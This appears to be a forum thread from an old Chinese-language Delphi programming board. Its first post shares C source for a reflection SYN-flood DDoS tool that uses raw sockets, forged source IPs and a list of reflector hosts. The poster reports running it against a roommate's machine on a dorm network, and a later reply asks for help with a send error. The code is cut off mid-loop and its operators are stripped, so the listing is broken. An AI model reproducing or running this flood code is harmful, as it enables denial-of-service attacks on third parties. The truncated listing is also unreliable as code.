線上訂房服務-台灣趴趴狗聯合訂房中心
發文 回覆 瀏覽次數:2179
推到 Plurk!
推到 Facebook!

提供小小文件(反射DDOS攻擊源碼 )

 
bcb902146
一般會員


發表:67
回覆:33
積分:22
註冊:2002-07-20

發送簡訊給我
#1 引用回覆 回覆 發表時間:2002-11-30 10:12:23 IP:61.70.xxx.xxx 未訂閱
反射DDOS攻擊源碼     作者:winewind 發表日期:2002-5-24 0:46:55  前幾天看到出來一個新的DDOS攻擊,叫什麼反射式的。節選一段:“一個惡意的入侵者在其他的Internet角落裏利用帶有連接請求的syn資料包對網路路由器進行洪水攻擊。這些資料包帶有虛假的IP位址,這些位址都是grc.com的。這樣以來,路由器認為這些Syn資料包是從grc.com發送來的,所以它們便對它們發送SYN/ACK資料包作為三次握手過程的第二個步。  ”     我把shotgun的syn flooder改寫了一下,只改了一點點。在宿舍的局域網內試了試,有效果,但不如直接的syn flood。我不知道是否和hub的廣播與否有關。程式改的毛糙,沒做優化,效率可能低了點。只是讓被攻擊的機器很慢,還沒有死機:)     下免是根源程式,感謝shotgun! 
    #include      #include      #include      #include      #define SEQ 0x28376839     #define NUM 7//反射伺服器的個數     #define FAKE_IP \"192.168.0.6\" //偽裝IP的起始值,本程式的偽裝IP覆蓋一個B類網段     #define STATUS_FAILED 0xFFFF //錯誤返回值     typedef struct _iphdr //定義IP首部     {        unsigned char h_verlen; //4位首部長度,4位IP版本號        unsigned char tos; //8位服務類型TOS        unsigned short total_len; //16位元總長度(位元組)        unsigned short ident; //16位元標識        unsigned short frag_and_flags; //3位元標誌位元        unsigned char ttl; //8位生存時間 TTL        unsigned char proto; //8位元協議 (TCP, UDP 或其他)        unsigned short checksum; //16位IP首部校驗和        unsigned int sourceIP; //32位源IP地址        unsigned int destIP; //32位元目的IP位址     }IP_HEADER;     struct //定義TCP偽首部     {        unsigned long saddr; //源地址        unsigned long daddr; //目的地址        char mbz;        char ptcl; //協議類型        unsigned short tcpl; //TCP長度     }psd_header;     typedef struct _tcphdr //定義TCP首部     {        USHORT th_sport; //16位源埠        USHORT th_dport; //16位元目的埠        unsigned int th_seq; //32位序列號        unsigned int th_ack; //32位確認號        unsigned char th_lenres; //4位首部長度/6位保留字        unsigned char th_flag; //6位元標誌位元        USHORT th_win; //16位元窗口大小        USHORT th_sum; //16位校驗和        USHORT th_urp; //16位元緊急資料偏移量     }TCP_HEADER;     //CheckSum:計算校驗和的子函數     USHORT checksum(USHORT *buffer, int size)     {        unsigned long cksum=0;        while(size >1) {        cksum =*buffer  ;        size -=sizeof(USHORT); 
   }        if(size ) {        cksum  = *(UCHAR*)buffer;        }        cksum = (cksum >> 16)   (cksum & 0xffff);        cksum  = (cksum >>16);        return (USHORT)(~cksum);     }     // SynFlood主函數     int main()     {        int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;        int TimeOut=2000,SendSEQ=0,i=0;        char SendBuf[128]={0};        char RecvBuf[65535]={0}; 
   
   char * Syn_dest_ip[NUM-1];        WSADATA wsaData;        SOCKET SockRaw=(SOCKET)NULL;        struct sockaddr_in DestAddr;        IP_HEADER ip_header;        TCP_HEADER tcp_header; 
   
//初始反射IP列表 
   
   Syn_dest_ip[0]=\"192.168.0.99\"; 
   Syn_dest_ip[1]=\"192.168.0.1\"; 
   Syn_dest_ip[2]=\"192.168.0.2\"; 
   Syn_dest_ip[3]=\"192.168.0.4\"; 
   Syn_dest_ip[4]=\"192.168.0.5\"; 
   Syn_dest_ip[5]=\"192.168.0.3\"; 
   Syn_dest_ip[6]=\"192.168.0.7\"; 
   
//初始化SOCK_RAW        if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){        fprintf(stderr,\"WSAStartup failed: %d\\n\",ErrorCode);        ExitProcess(STATUS_FAILED);        }        SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);        if (SockRaw==INVALID_SOCKET){        fprintf(stderr,\"WSASocket() failed: %d\\n\",WSAGetLastError());        ExitProcess(STATUS_FAILED);        }        flag=TRUE;     //設置IP_HDRINCL以自己填充IP首部        ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));        if (ErrorCode==SOCKET_ERROR) printf(\"Set IP_HDRINCL Error!\\n\");        __try{     //設置發送超時        ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));        if(ErrorCode==SOCKET_ERROR){            fprintf(stderr,\"Failed to set send TimeOut: %d\\n\",WSAGetLastError());            __leave; 
   }        while(1){            for(i=0;i
補充日期: 2002-5-24 0:47:40 
第一次接觸這種程式,真是沒底:) 
補充日期: 2002-5-24 18:09:48 
因為在宿舍局域網裏測試用的,沒什麼閘道,只能往其他幾台機器發syn包。舍友玩星際,只能讓他速度變得非常慢,還沒掉線;還是shotgun的syn flooder厲害,一用就讓對方死機:)     劉維翔
        
------
劉維翔
kj68215
初階會員


發表:47
回覆:91
積分:27
註冊:2003-08-09

發送簡訊給我
#2 引用回覆 回覆 發表時間:2004-08-14 20:54:51 IP:61.228.xxx.xxx 未訂閱
目前的CodeRed.F也是這種型的攻擊方式. 不過"CodeRed.F"只攻擊Win2K IIS(沒更新)的主機. 移除掉IIS或是修補就沒事了! ----------------------- 請多多指教啦!!^^
------
-----------------------
請多多指教啦!!^^
mattwang
一般會員


發表:0
回覆:2
積分:0
註冊:2005-08-03

發送簡訊給我
#3 引用回覆 回覆 發表時間:2005-08-03 13:15:00 IP:163.25.xxx.xxx 未訂閱
抱歉,可以請問一下嗎? 我執行時會發生send error(socket error)10004 我查MSDN他給我的回覆是當 以阻攔式進行的WinSock函式被WSACancelBlockingCall()中斷的時候,這個阻攔式函式會得到WSAEINTR這個錯誤訊息。 因為我是這方面的初學者,我不太懂耶,可以幫我解釋一下原因嗎? 麻煩各位了,我想多學一點有關的東西。
系統時間:2024-05-06 11:26:09
聯絡我們 | Delphi K.Top討論版
本站聲明
1. 本論壇為無營利行為之開放平台,所有文章都是由網友自行張貼,如牽涉到法律糾紛一切與本站無關。
2. 假如網友發表之內容涉及侵權,而損及您的利益,請立即通知版主刪除。
3. 請勿批評中華民國元首及政府或批評各政黨,是藍是綠本站無權干涉,但這裡不是政治性論壇!